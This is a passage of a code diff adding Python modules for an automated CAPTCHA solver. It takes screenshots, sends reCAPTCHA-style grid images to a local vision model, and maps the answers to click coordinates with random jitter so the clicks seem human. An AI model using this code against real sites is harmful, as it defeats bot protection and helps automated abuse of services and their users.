analysis into actual browser/screen click coordinates.
|
||||||
|
|
||||||
|
Handles:
|
||||||
|
- Grid-based CAPTCHAs (reCAPTCHA 3x3, 4x4)
|
||||||
|
- Absolute coordinate mapping
|
||||||
|
- Element-relative positioning
|
||||||
|
- Viewport offset calculations
|
||||||
|
"""
|
||||||
|
import logging
|
||||||
|
import random
|
||||||
|
from dataclasses import dataclass
|
||||||
|
from typing import List, Optional, Tuple
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class ClickTarget:
|
||||||
|
"""A single click target with its screen coordinates."""
|
||||||
|
x: int
|
||||||
|
y: int
|
||||||
|
label: str = ""
|
||||||
|
confidence: float = 1.0
|
||||||
|
tile_index: int = 0 # 1-based grid position, 0 if not grid-based
|
||||||
|
|
||||||
|
|
||||||
|
class CoordMapper:
|
||||||
|
"""
|
||||||
|
Maps vision model output to actual click coordinates.
|
||||||
|
Supports multiple CAPTCHA types and coordinate systems.
|
||||||
|
"""
|
||||||
|
|
||||||
|
# Common CAPTCHA grid configurations
|
||||||
|
GRID_CONFIGS = {
|
||||||
|
"3x3": {"rows": 3, "cols": 3, "total": 9},
|
||||||
|
"4x4": {"rows": 4, "cols": 4, "total": 16},
|
||||||
|
"2x3": {"rows": 2, "cols": 3, "total": 6},
|
||||||
|
"3x4": {"rows": 3, "cols": 4, "total": 12},
|
||||||
|
}
|
||||||
|
|
||||||
|
def __init__(
|
||||||
|
self,
|
||||||
|
viewport_offset: Tuple[int, int] = (0, 0),
|
||||||
|
browser_offset: Tuple[int, int] = (0, 0),
|
||||||
|
humanize: bool = True,
|
||||||
|
):
|
||||||
|
"""
|
||||||
|
Args:
|
||||||
|
viewport_offset: (x, y) offset of the browser viewport on screen
|
||||||
|
browser_offset: (x, y) offset of the browser chrome/toolbars
|
||||||
|
humanize: add random jitter to clicks to appear human
|
||||||
|
"""
|
||||||
|
self.viewport_offset = viewport_offset
|
||||||
|
self.browser_offset = browser_offset
|
||||||
|
self.humanize = humanize
|
||||||
|
|
||||||
|
def set_viewport_offset(self, x: int, y: int):
|
||||||
|
"""Set the viewport offset (position of browser content area on screen)."""
|
||||||
|
self.viewport_offset = (x, y)
|
||||||
|
|
||||||
|
def set_browser_offset(self, x: int, y: int):
|
||||||
|
"""Set browser chrome offset (toolbars, address bar height)."""
|
||||||
|
self.browser_offset = (x, y)
|
||||||
|
|
||||||
|
def map_grid_tiles(
|
||||||
|
self,
|
||||||
|
grid_image_size: Tuple[int, int],
|
||||||
|
tile_indices: List[int],
|
||||||
|
grid_type: str = "3x3",
|
||||||
|
) -> List[ClickTarget]:
|
||||||
|
"""
|
||||||
|
Map grid tile indices to click coordinates.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
grid_image_size: (width, height) of the grid image
|
||||||
|
tile_indices: list of 1-based tile indices to click (e.g., [1, 4, 7])
|
||||||
|
grid_type: '3x3', '4x4', etc.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
List of ClickTarget with screen coordinates
|
||||||
|
"""
|
||||||
|
config = self.GRID_CONFIGS.get(grid_type)
|
||||||
|
if not config:
|
||||||
|
logger.warning(f"Unknown grid type: {grid_type}, defaulting to 3x3")
|
||||||
|
config = self.GRID_CONFIGS["3x3"]
|
||||||
|
|
||||||
|
rows, cols = config["rows"], config["cols"]
|
||||||
|
img_w, img_h = grid_image_size
|
||||||
|
tile_w = img_w / cols
|
||||||
|
tile_h = img_h / rows
|
||||||
|
|
||||||
|
targets = []
|
||||||
|
for idx in tile_indices:
|
||||||
|
if idx < 1 or idx > config["total"]:
|
||||||
|
logger.warning(f"Tile index {idx} out of range for {grid_type}")
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Convert 1-based index to (row, col) 0-based
|
||||||
|
row = (idx - 1) // cols
|
||||||
|
col = (idx - 1) % cols
|
||||||
|
|
||||||
|
# Center of the tile
|
||||||
|
center_x = int(col * tile_w + tile_w / 2)
|
||||||
|
center_y = int(row * tile_h + tile_h / 2)
|
||||||
|
|
||||||
|
# Apply offsets and humanization
|
||||||
|
click_x, click_y = self._apply_offsets(center_x, center_y)
|
||||||
|
|
||||||
|
targets.append(ClickTarget(
|
||||||
|
x=click_x,
|
||||||
|
y=click_y,
|
||||||
|
label=f"Tile {idx} (row={row+1}, col={col+1})",
|
||||||
|
confidence=1.0,
|
||||||
|
tile_index=idx,
|
||||||
|
))
|
||||||
|
|
||||||
|
logger.info(f"Mapped {len(targets)} grid tiles: {tile_indices}")
|
||||||
|
return targets
|
||||||
|
|
||||||
|
def map_absolute_coordinates(
|
||||||
|
self,
|
||||||
|
coordinates: List[Tuple[int, int]],
|
||||||
|
image_size: Tuple[int, int],
|
||||||
|
viewport_size: Tuple[int, int],
|
||||||
|
) -> List[ClickTarget]:
|
||||||
|
"""
|
||||||
|
Map absolute coordinates from the vision model to screen coordinates.
|
||||||
|
Handles scaling if the analyzed image differs from actual viewport size.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
coordinates: list of (x, y) from the vision model
|
||||||
|
image_size: (width, height) of the image that was analyzed
|
||||||
|
viewport_size: (width, height) of the actual browser viewport
|
||||||
|
"""
|
||||||
|
img_w, img_h = image_size
|
||||||
|
vp_w, vp_h = viewport_size
|
||||||
|
|
||||||
|
# Calculate scale factors
|
||||||
|
scale_x = vp_w / img_w if img_w > 0 else 1
|
||||||
|
scale_y = vp_h / img_h if img_h > 0 else 1
|
||||||
|
|
||||||
|
targets = []
|
||||||
|
for x, y in coordinates:
|
||||||
|
# Scale to viewport coordinates
|
||||||
|
scaled_x = int(x * scale_x)
|
||||||
|
scaled_y = int(y * scale_y)
|
||||||
|
|
||||||
|
# Apply offsets and humanization
|
||||||
|
click_x, click_y = self._apply_offsets(scaled_x, scaled_y)
|
||||||
|
|
||||||
|
targets.append(ClickTarget(
|
||||||
|
x=click_x,
|
||||||
|
y=click_y,
|
||||||
|
label=f"Coordinate ({x}, {y})",
|
||||||
|
confidence=1.0,
|
||||||
|
))
|
||||||
|
|
||||||
|
return targets
|
||||||
|
|
||||||
|
def map_element_positions(
|
||||||
|
self,
|
||||||
|
elements: List[dict],
|
||||||
|
image_size: Tuple[int, int],
|
||||||
|
viewport_size: Tuple[int, int],
|
||||||
|
) -> List[ClickTarget]:
|
||||||
|
"""
|
||||||
|
Map descriptive element positions (e.g., 'top-left', 'center') to coordinates.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
elements: list of dicts with 'position' field
|
||||||
|
image_size: (width, height) of analyzed image
|
||||||
|
viewport_size: (width, height) of actual viewport
|
||||||
|
"""
|
||||||
|
img_w, img_h = image_size
|
||||||
|
vp_w, vp_h = viewport_size
|
||||||
|
scale_x = vp_w / img_w if img_w > 0 else 1
|
||||||
|
scale_y = vp_h / img_h if img_h > 0 else 1
|
||||||
|
|
||||||
|
# Named position presets (relative to image)
|
||||||
|
named_positions = {
|
||||||
|
"top-left": (0.1, 0.1),
|
||||||
|
"top-center": (0.5, 0.1),
|
||||||
|
"top-right": (0.9, 0.1),
|
||||||
|
"center-left": (0.1, 0.5),
|
||||||
|
"center": (0.5, 0.5),
|
||||||
|
"center-right": (0.9, 0.5),
|
||||||
|
"bottom-left": (0.1, 0.9),
|
||||||
|
"bottom-center": (0.5, 0.9),
|
||||||
|
"bottom-right": (0.9, 0.9),
|
||||||
|
}
|
||||||
|
|
||||||
|
targets = []
|
||||||
|
for elem in elements:
|
||||||
|
position = elem.get("position", "center").lower()
|
||||||
|
label = elem.get("label", "")
|
||||||
|
|
||||||
|
if position in named_positions:
|
||||||
|
rel_x, rel_y = named_positions[position]
|
||||||
|
abs_x = int(rel_x * img_w)
|
||||||
|
abs_y = int(rel_y * img_h)
|
||||||
|
else:
|
||||||
|
# Try to parse as "x%, y%" or "x, y"
|
||||||
|
try:
|
||||||
|
parts = position.replace("%", "").split(",")
|
||||||
|
if len(parts) == 2:
|
||||||
|
abs_x = int(float(parts[0].strip()) / 100 * img_w)
|
||||||
|
abs_y = int(float(parts[1].strip()) / 100 * img_h)
|
||||||
|
else:
|
||||||
|
continue
|
||||||
|
except (ValueError, IndexError):
|
||||||
|
logger.warning(f"Could not parse position: {position}")
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Scale and offset
|
||||||
|
click_x, click_y = self._apply_offsets(
|
||||||
|
int(abs_x * scale_x),
|
||||||
|
int(abs_y * scale_y),
|
||||||
|
)
|
||||||
|
|
||||||
|
targets.append(ClickTarget(
|
||||||
|
x=click_x,
|
||||||
|
y=click_y,
|
||||||
|
label=label or position,
|
||||||
|
confidence=elem.get("confidence", 0.5),
|
||||||
|
))
|
||||||
|
|
||||||
|
return targets
|
||||||
|
|
||||||
|
def _apply_offsets(self, x: int, y: int) -> Tuple[int, int]:
|
||||||
|
"""Apply viewport offset, browser offset, and humanization jitter."""
|
||||||
|
# Add browser chrome offset
|
||||||
|
x += self.browser_offset[0]
|
||||||
|
y += self.browser_offset[1]
|
||||||
|
|
||||||
|
# Add viewport offset
|
||||||
|
x += self.viewport_offset[0]
|
||||||
|
y += self.viewport_offset[1]
|
||||||
|
|
||||||
|
# Humanize: add small random jitter (±3 pixels)
|
||||||
|
if self.humanize:
|
||||||
|
x += random.randint(-3, 3)
|
||||||
|
y += random.randint(-3, 3)
|
||||||
|
|
||||||
|
return (x, y)
|
||||||
|
|
||||||
|
def sort_by_reading_order(self, targets: List[ClickTarget], grid_type: str = "3x3") -> List[ClickTarget]:
|
||||||
|
"""Sort click targets in natural reading order (left-to-right, top-to-bottom)."""
|
||||||
|
config = self.GRID_CONFIGS.get(grid_type, self.GRID_CONFIGS["3x3"])
|
||||||
|
cols = config["cols"]
|
||||||
|
|
||||||
|
return sorted(targets, key=lambda t: ((t.tile_index - 1) // cols, (t.tile_index - 1) % cols))
|
||||||
|
|
||||||
|
def deduplicate_close_clicks(self, targets: List[ClickTarget], min_distance: int = 10) -> List[ClickTarget]:
|
||||||
|
"""Remove click targets that are too close together."""
|
||||||
|
if not targets:
|
||||||
|
return []
|
||||||
|
|
||||||
|
filtered = [targets[0]]
|
||||||
|
for t in targets[1:]:
|
||||||
|
too_close = False
|
||||||
|
for f in filtered:
|
||||||
|
dist = ((t.x - f.x) ** 2 + (t.y - f.y) ** 2) ** 0.5
|
||||||
|
if dist < min_distance:
|
||||||
|
too_close = True
|
||||||
|
break
|
||||||
|
if not too_close:
|
||||||
|
filtered.append(t)
|
||||||
|
|
||||||
|
return filtered
|
||||||
269
src/captcha/ollama_client.py
Normal file
269
src/captcha/ollama_client.py
Normal file
@@ -0,0 +1,269 @@
|
|||||||
|
"""
|
||||||
|
Ollama vision inference client — sends images to local Ollama models
|
||||||
|
and parses structured responses for CAPTCHA solving.
|
||||||
|
"""
|
||||||
|
import base64
|
||||||
|
import json
|
||||||
|
import logging
|
||||||
|
import re
|
||||||
|
from dataclasses import dataclass, field
|
||||||
|
from io import BytesIO
|
||||||
|
from typing import Dict, List, Optional, Tuple, Any
|
||||||
|
import requests
|
||||||
|
from PIL import Image
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
OLLAMA_DEFAULT_HOST = "http://localhost:11434"
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class CaptchaAnalysis:
|
||||||
|
"""Structured result from CAPTCHA analysis."""
|
||||||
|
description: str = ""
|
||||||
|
instruction: str = ""
|
||||||
|
target_elements: List[Dict[str, Any]] = field(default_factory=list)
|
||||||
|
click_coordinates: List[Tuple[int, int]] = field(default_factory=list)
|
||||||
|
tile_positions: List[int] = field(default_factory=list)
|
||||||
|
raw_response: str = ""
|
||||||
|
confidence: float = 0.0
|
||||||
|
success: bool = False
|
||||||
|
error: Optional[str] = None
|
||||||
|
|
||||||
|
|
||||||
|
class OllamaVisionClient:
|
||||||
|
"""
|
||||||
|
Client for Ollama vision-language models.
|
||||||
|
Handles image encoding, prompt construction, response parsing.
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self, host: str = OLLAMA_DEFAULT_HOST, model: str = "llava:13b"):
|
||||||
|
self.host = host.rstrip("/")
|
||||||
|
self.model = model
|
||||||
|
self.session = requests.Session()
|
||||||
|
self.session.headers.update({"Content-Type": "application/json"})
|
||||||
|
|
||||||
|
def is_available(self) -> bool:
|
||||||
|
"""Check if Ollama server is reachable."""
|
||||||
|
try:
|
||||||
|
resp = self.session.get(f"{self.host}/api/tags", timeout=3)
|
||||||
|
return resp.status_code == 200
|
||||||
|
except requests.RequestException:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def list_models(self) -> List[str]:
|
||||||
|
"""Get list of available model names."""
|
||||||
|
try:
|
||||||
|
resp = self.session.get(f"{self.host}/api/tags", timeout=5)
|
||||||
|
if resp.status_code == 200:
|
||||||
|
data = resp.json()
|
||||||
|
return [m["name"] for m in data.get("models", [])]
|
||||||
|
return []
|
||||||
|
except requests.RequestException:
|
||||||
|
return []
|
||||||
|
|
||||||
|
def _encode_image(self, image: Image.Image, format: str = "PNG") -> str:
|
||||||
|
"""Convert PIL Image to base64 string."""
|
||||||
|
buffer = BytesIO()
|
||||||
|
image.save(buffer, format=format)
|
||||||
|
return base64.b64encode(buffer.getvalue()).decode("utf-8")
|
||||||
|
|
||||||
|
def _encode_image_path(self, image_path: str) -> str:
|
||||||
|
"""Load image from path and encode to base64."""
|
||||||
|
with open(image_path, "rb") as f:
|
||||||
|
return base64.b64encode(f.read()).decode("utf-8")
|
||||||
|
|
||||||
|
def analyze_captcha(
|
||||||
|
self,
|
||||||
|
image: Image.Image,
|
||||||
|
prompt: Optional[str] = None,
|
||||||
|
temperature: float = 0.1,
|
||||||
|
max_tokens: int = 512,
|
||||||
|
) -> CaptchaAnalysis:
|
||||||
|
"""
|
||||||
|
Analyze a CAPTCHA image using the vision model.
|
||||||
|
Returns structured analysis with coordinates and elements.
|
||||||
|
"""
|
||||||
|
default_prompt = (
|
||||||
|
"You are a CAPTCHA solving AI. Look at this image carefully.\n\n"
|
||||||
|
"1. Describe what you see in detail\n"
|
||||||
|
"2. What is the instruction? (e.g., 'Select all images with bicycles', 'Click the traffic light')\n"
|
||||||
|
"3. List each target element and its approximate position (row, column or x,y coordinates)\n"
|
||||||
|
"4. If this is a grid-based CAPTCHA (like reCAPTCHA), which tile positions (1-9 or 1-16) contain the target?\n"
|
||||||
|
"5. What is your confidence level (0.0 to 1.0)?\n\n"
|
||||||
|
"Respond in this JSON format:\n"
|
||||||
|
"{\n"
|
||||||
|
' "description": "...",\n'
|
||||||
|
' "instruction": "...",\n'
|
||||||
|
' "target_elements": [{"label": "...", "position": "top-left", "confidence": 0.95}],\n'
|
||||||
|
' "tile_positions": [1, 4, 7],\n'
|
||||||
|
' "click_coordinates": [[120, 45], [120, 180]],\n'
|
||||||
|
' "confidence": 0.95\n'
|
||||||
|
"}"
|
||||||
|
)
|
||||||
|
|
||||||
|
analysis = CaptchaAnalysis()
|
||||||
|
analysis.raw_response = ""
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Encode image
|
||||||
|
b64_image = self._encode_image(image)
|
||||||
|
|
||||||
|
# Build request
|
||||||
|
payload = {
|
||||||
|
"model": self.model,
|
||||||
|
"prompt": prompt or default_prompt,
|
||||||
|
"images": [b64_image],
|
||||||
|
"stream": False,
|
||||||
|
"options": {
|
||||||
|
"temperature": temperature,
|
||||||
|
"num_predict": max_tokens,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
# Send to Ollama
|
||||||
|
resp = self.session.post(
|
||||||
|
f"{self.host}/api/generate",
|
||||||
|
json=payload,
|
||||||
|
timeout=120,
|
||||||
|
)
|
||||||
|
|
||||||
|
if resp.status_code != 200:
|
||||||
|
analysis.error = f"Ollama returned HTTP {resp.status_code}: {resp.text[:200]}"
|
||||||
|
logger.error(analysis.error)
|
||||||
|
return analysis
|
||||||
|
|
||||||
|
data = resp.json()
|
||||||
|
analysis.raw_response = data.get("response", "")
|
||||||
|
|
||||||
|
# Parse structured response
|
||||||
|
self._parse_response(analysis)
|
||||||
|
|
||||||
|
return analysis
|
||||||
|
|
||||||
|
except requests.ConnectionError:
|
||||||
|
analysis.error = f"Cannot connect to Ollama at {self.host}"
|
||||||
|
logger.error(analysis.error)
|
||||||
|
return analysis
|
||||||
|
except requests.Timeout:
|
||||||
|
analysis.error = "Ollama request timed out (120s)"
|
||||||
|
logger.error(analysis.error)
|
||||||
|
return analysis
|
||||||
|
except Exception as e:
|
||||||
|
analysis.error = f"Unexpected error: {str(e)[:200]}"
|
||||||
|
logger.error(analysis.error, exc_info=True)
|
||||||
|
return analysis
|
||||||
|
|
||||||
|
def _parse_response(self, analysis: CaptchaAnalysis) -> None:
|
||||||
|
"""Parse the model's response into structured fields."""
|
||||||
|
response = analysis.raw_response
|
||||||
|
|
||||||
|
# Try to extract JSON block
|
||||||
|
json_match = re.search(r"\{[^{}]*\}", response, re.DOTALL)
|
||||||
|
if json_match:
|
||||||
|
try:
|
||||||
|
parsed = json.loads(json_match.group())
|
||||||
|
analysis.description = parsed.get("description", "")
|
||||||
|
analysis.instruction = parsed.get("instruction", "")
|
||||||
|
analysis.target_elements = parsed.get("target_elements", [])
|
||||||
|
analysis.tile_positions = parsed.get("tile_positions", [])
|
||||||
|
analysis.click_coordinates = [
|
||||||
|
tuple(coord) for coord in parsed.get("click_coordinates", [])
|
||||||
|
]
|
||||||
|
analysis.confidence = float(parsed.get("confidence", 0.0))
|
||||||
|
analysis.success = analysis.confidence > 0.5
|
||||||
|
return
|
||||||
|
except (json.JSONDecodeError, ValueError, TypeError) as e:
|
||||||
|
logger.warning(f"Failed to parse JSON from response: {e}")
|
||||||
|
|
||||||
|
# Fallback: extract information heuristically
|
||||||
|
analysis.description = response[:500]
|
||||||
|
|
||||||
|
# Extract tile positions from text
|
||||||
|
tile_match = re.findall(r"(?:tile|position|grid)\s*(?::|#)?\s*(\d+)", response, re.IGNORECASE)
|
||||||
|
if tile_match:
|
||||||
|
analysis.tile_positions = [int(t) for t in tile_match]
|
||||||
|
|
||||||
|
# Extract coordinates
|
||||||
|
coord_match = re.findall(r"\((\d+),\s*(\d+)\)", response)
|
||||||
|
if coord_match:
|
||||||
|
analysis.click_coordinates = [(int(x), int(y)) for x, y in coord_match]
|
||||||
|
|
||||||
|
# Determine success heuristically
|
||||||
|
analysis.success = (
|
||||||
|
len(analysis.tile_positions) > 0
|
||||||
|
or len(analysis.click_coordinates) > 0
|
||||||
|
or "confidence" in response.lower()
|
||||||
|
)
|
||||||
|
|
||||||
|
def chat_with_image(
|
||||||
|
self,
|
||||||
|
image: Image.Image,
|
||||||
|
messages: List[Dict[str, str]],
|
||||||
|
temperature: float = 0.1,
|
||||||
|
) -> Optional[str]:
|
||||||
|
"""
|
||||||
|
Chat completion with image context.
|
||||||
|
Useful for multi-turn CAPTCHA conversations.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
b64_image = self._encode_image(image)
|
||||||
|
|
||||||
|
payload = {
|
||||||
|
"model": self.model,
|
||||||
|
"messages": messages,
|
||||||
|
"stream": False,
|
||||||
|
"options": {"temperature": temperature},
|
||||||
|
}
|
||||||
|
|
||||||
|
# Add image to last message
|
||||||
|
if payload["messages"]:
|
||||||
|
payload["messages"][-1]["images"] = [b64_image]
|
||||||
|
|
||||||
|
resp = self.session.post(
|
||||||
|
f"{self.host}/api/chat",
|
||||||
|
json=payload,
|
||||||
|
timeout=120,
|
||||||
|
)
|
||||||
|
|
||||||
|
if resp.status_code == 200:
|
||||||
|
data = resp.json()
|
||||||
|
return data.get("message", {}).get("content", "")
|
||||||
|
return None
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Chat with image failed: {e}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
def test_connection(self) -> Dict[str, Any]:
|
||||||
|
"""Test the full connection pipeline."""
|
||||||
|
result = {
|
||||||
|
"server_available": False,
|
||||||
|
"model_available": False,
|
||||||
|
"inference_works": False,
|
||||||
|
"details": "",
|
||||||
|
}
|
||||||
|
|
||||||
|
# Check server
|
||||||
|
if not self.is_available():
|
||||||
|
result["details"] = f"Cannot reach Ollama at {self.host}"
|
||||||
|
return result
|
||||||
|
result["server_available"] = True
|
||||||
|
|
||||||
|
# Check model
|
||||||
|
models = self.list_models()
|
||||||
|
if self.model not in models:
|
||||||
|
result["details"] = f"Model '{self.model}' not found. Available: {models[:5]}"
|
||||||
|
return result
|
||||||
|
result["model_available"] = True
|
||||||
|
|
||||||
|
# Test inference with a tiny image
|
||||||
|
try:
|
||||||
|
tiny_img = Image.new("RGB", (10, 10), color="black")
|
||||||
|
test_analysis = self.analyze_captcha(tiny_img, prompt="Reply with just: OK")
|
||||||
|
result["inference_works"] = bool(test_analysis.raw_response)
|
||||||
|
result["details"] = f"Model responded: {test_analysis.raw_response[:100]}"
|
||||||
|
except Exception as e:
|
||||||
|
result["details"] = f"Inference test failed: {e}"
|
||||||
|
|
||||||
|
return result
|
||||||
221
src/captcha/screenshotter.py
Normal file
221
src/captcha/screenshotter.py
Normal file
@@ -0,0 +1,221 @@
|
|||||||
|
"""
|
||||||
|
Screen capture and image preprocessing for CAPTCHA solving.
|
||||||
|
Captures browser viewports, crops elements, and prepares images for vision analysis.
|
||||||
|
"""
|
||||||
|
import io
|
||||||
|
import logging
|
||||||
|
import os
|
||||||
|
import tempfile
|
||||||
|
from dataclasses import dataclass
|
||||||
|
from datetime import datetime
|
||||||
|
from enum import Enum
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Optional, Tuple
|
||||||
|
from PIL import Image, ImageEnhance, ImageFilter, ImageGrab
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class CaptureMethod(Enum):
|
||||||
|
"""Available screen capture methods."""
|
||||||
|
PIL = "pil" # PIL ImageGrab (full screen)
|
||||||
|
PLAYWRIGHT = "playwright" # Playwright screenshot (browser viewport)
|
||||||
|
SELENIUM = "selenium" # Selenium screenshot (browser viewport)
|
||||||
|
MANUAL = "manual" # User-provided image path
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class CaptureResult:
|
||||||
|
"""Result of a screen capture operation."""
|
||||||
|
image: Optional[Image.Image] = None
|
||||||
|
path: Optional[str] = None
|
||||||
|
method: CaptureMethod = CaptureMethod.PIL
|
||||||
|
timestamp: str = ""
|
||||||
|
viewport_size: Tuple[int, int] = (0, 0)
|
||||||
|
error: Optional[str] = None
|
||||||
|
success: bool = False
|
||||||
|
|
||||||
|
|
||||||
|
class Screenshotter:
|
||||||
|
"""
|
||||||
|
Captures screenshots from various sources and preprocesses them
|
||||||
|
for optimal vision model analysis.
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self, debug_dir: Optional[str] = None):
|
||||||
|
self.debug_dir = debug_dir
|
||||||
|
if debug_dir:
|
||||||
|
Path(debug_dir).mkdir(parents=True, exist_ok=True)
|
||||||
|
|
||||||
|
def capture_screen(self, region: Optional[Tuple[int, int, int, int]] = None) -> CaptureResult:
|
||||||
|
"""
|
||||||
|
Capture the entire screen or a specific region using PIL.
|
||||||
|
region: (left, top, right, bottom) bounding box.
|
||||||
|
"""
|
||||||
|
result = CaptureResult(method=CaptureMethod.PIL)
|
||||||
|
result.timestamp = datetime.now().strftime("%Y%m%d_%H%M%S_%f")[:-3]
|
||||||
|
|
||||||
|
try:
|
||||||
|
if region:
|
||||||
|
screenshot = ImageGrab.grab(bbox=region)
|
||||||
|
result.viewport_size = (region[2] - region[0], region[3] - region[1])
|
||||||
|
else:
|
||||||
|
screenshot = ImageGrab.grab()
|
||||||
|
result.viewport_size = screenshot.size
|
||||||
|
|
||||||
|
result.image = screenshot
|
||||||
|
result.success = True
|
||||||
|
|
||||||
|
# Save debug copy
|
||||||
|
if self.debug_dir:
|
||||||
|
debug_path = Path(self.debug_dir) / f"capture_{result.timestamp}.png"
|
||||||
|
screenshot.save(debug_path)
|
||||||
|
result.path = str(debug_path)
|
||||||
|
|
||||||
|
logger.info(f"Screen captured: {result.viewport_size}")
|
||||||
|
return result
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
result.error = f"Screen capture failed: {e}"
|
||||||
|
logger.error(result.error)
|
||||||
|
return result
|
||||||
|
|
||||||
|
def capture_browser_viewport(
|
||||||
|
self,
|
||||||
|
driver,
|
||||||
|
method: CaptureMethod = CaptureMethod.PLAYWRIGHT,
|
||||||
|
) -> CaptureResult:
|
||||||
|
"""
|
||||||
|
Capture browser viewport via Playwright or Selenium.
|
||||||
|
driver: Playwright page object or Selenium WebDriver.
|
||||||
|
"""
|
||||||
|
result = CaptureResult(method=method)
|
||||||
|
result.timestamp = datetime.now().strftime("%Y%m%d_%H%M%S_%f")[:-3]
|
||||||
|
|
||||||
|
try:
|
||||||
|
if method == CaptureMethod.PLAYWRIGHT:
|
||||||
|
# Playwright page.screenshot()
|
||||||
|
screenshot_bytes = driver.screenshot(full_page=False)
|
||||||
|
result.image = Image.open(io.BytesIO(screenshot_bytes))
|
||||||
|
result.viewport_size = result.image.size
|
||||||
|
|
||||||
|
elif method == CaptureMethod.SELENIUM:
|
||||||
|
# Selenium WebDriver screenshot
|
||||||
|
screenshot_bytes = driver.get_screenshot_as_png()
|
||||||
|
result.image = Image.open(io.BytesIO(screenshot_bytes))
|
||||||
|
result.viewport_size = result.image.size
|
||||||
|
|
||||||
|
result.success = True
|
||||||
|
|
||||||
|
if self.debug_dir:
|
||||||
|
debug_path = Path(self.debug_dir) / f"browser_{result.timestamp}.png"
|
||||||
|
result.image.save(debug_path)
|
||||||
|
result.path = str(debug_path)
|
||||||
|
|
||||||
|
logger.info(f"Browser viewport captured: {result.viewport_size}")
|
||||||
|
return result
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
result.error = f"Browser capture failed: {e}"
|
||||||
|
logger.error(result.error)
|
||||||
|
return result
|
||||||
|
|
||||||
|
def load_image(self, path: str) -> CaptureResult:
|
||||||
|
"""Load an image from disk."""
|
||||||
|
result = CaptureResult(method=CaptureMethod.MANUAL)
|
||||||
|
result.timestamp = datetime.now().strftime("%Y%m%d_%H%M%S_%f")[:-3]
|
||||||
|
|
||||||
|
try:
|
||||||
|
result.image = Image.open(path)
|
||||||
|
result.viewport_size = result.image.size
|
||||||
|
result.path = path
|
||||||
|
result.success = True
|
||||||
|
logger.info(f"Image loaded: {path} ({result.viewport_size})")
|
||||||
|
return result
|
||||||
|
except Exception as e:
|
||||||
|
result.error = f"Failed to load image {path}: {e}"
|
||||||
|
logger.error(result.error)
|
||||||
|
return result
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def preprocess_for_vision(image: Image.Image) -> Image.Image:
|
||||||
|
"""
|
||||||
|
Preprocess image for optimal vision model analysis.
|
||||||
|
- Resize if too large (Ollama models have context limits)
|
||||||
|
- Enhance contrast
|
||||||
|
- Convert to RGB
|
||||||
|
"""
|
||||||
|
img = image.convert("RGB")
|
||||||
|
|
||||||
|
# Resize if too large (max 1024px on longest side)
|
||||||
|
max_dim = 1024
|
||||||
|
w, h = img.size
|
||||||
|
if max(w, h) > max_dim:
|
||||||
|
ratio = max_dim / max(w, h)
|
||||||
|
new_size = (int(w * ratio), int(h * ratio))
|
||||||
|
img = img.resize(new_size, Image.LANCZOS)
|
||||||
|
logger.info(f"Image resized from {w}x{h} to {new_size}")
|
||||||
|
|
||||||
|
# Enhance contrast for better recognition
|
||||||
|
enhancer = ImageEnhance.Contrast(img)
|
||||||
|
img = enhancer.enhance(1.2)
|
||||||
|
|
||||||
|
# Slight sharpening
|
||||||
|
img = img.filter(ImageFilter.SHARPEN)
|
||||||
|
|
||||||
|
return img
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def crop_captcha_element(
|
||||||
|
image: Image.Image,
|
||||||
|
bbox: Tuple[int, int, int, int],
|
||||||
|
padding: int = 5,
|
||||||
|
) -> Image.Image:
|
||||||
|
"""
|
||||||
|
Crop a specific element from the image.
|
||||||
|
bbox: (left, top, right, bottom)
|
||||||
|
padding: extra pixels around the crop area.
|
||||||
|
"""
|
||||||
|
left, top, right, bottom = bbox
|
||||||
|
left = max(0, left - padding)
|
||||||
|
top = max(0, top - padding)
|
||||||
|
right = min(image.width, right + padding)
|
||||||
|
bottom = min(image.height, bottom + padding)
|
||||||
|
return image.crop((left, top, right, bottom))
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def split_grid(image: Image.Image, rows: int = 3, cols: int = 3) -> list:
|
||||||
|
"""
|
||||||
|
Split a CAPTCHA grid image into individual tiles.
|
||||||
|
Returns list of (tile_index, tile_image) tuples.
|
||||||
|
Useful for reCAPTCHA-style 3x3 or 4x4 grids.
|
||||||
|
"""
|
||||||
|
tiles = []
|
||||||
|
w, h = image.size
|
||||||
|
tile_w = w // cols
|
||||||
|
tile_h = h // rows
|
||||||
|
|
||||||
|
for row in range(rows):
|
||||||
|
for col in range(cols):
|
||||||
|
left = col * tile_w
|
||||||
|
top = row * tile_h
|
||||||
|
right = (col + 1) * tile_w
|
||||||
|
bottom = (row + 1) * tile_h
|
||||||
|
tile = image.crop((left, top, right, bottom))
|
||||||
|
tile_index = row * cols + col + 1 # 1-based
|
||||||
|
tiles.append((tile_index, tile))
|
||||||
|
|
||||||
|
return tiles
|
||||||
|
|
||||||
|
def cleanup_debug(self, max_age_hours: int = 24):
|
||||||
|
"""Clean up old debug screenshots."""
|
||||||
|
if not self.debug_dir:
|
||||||
|
return
|
||||||
|
|
||||||
|
cutoff = datetime.now().timestamp() - (max_age_hours * 3600)
|
||||||
|
debug_path = Path(self.debug_dir)
|
||||||
|
|
||||||
|
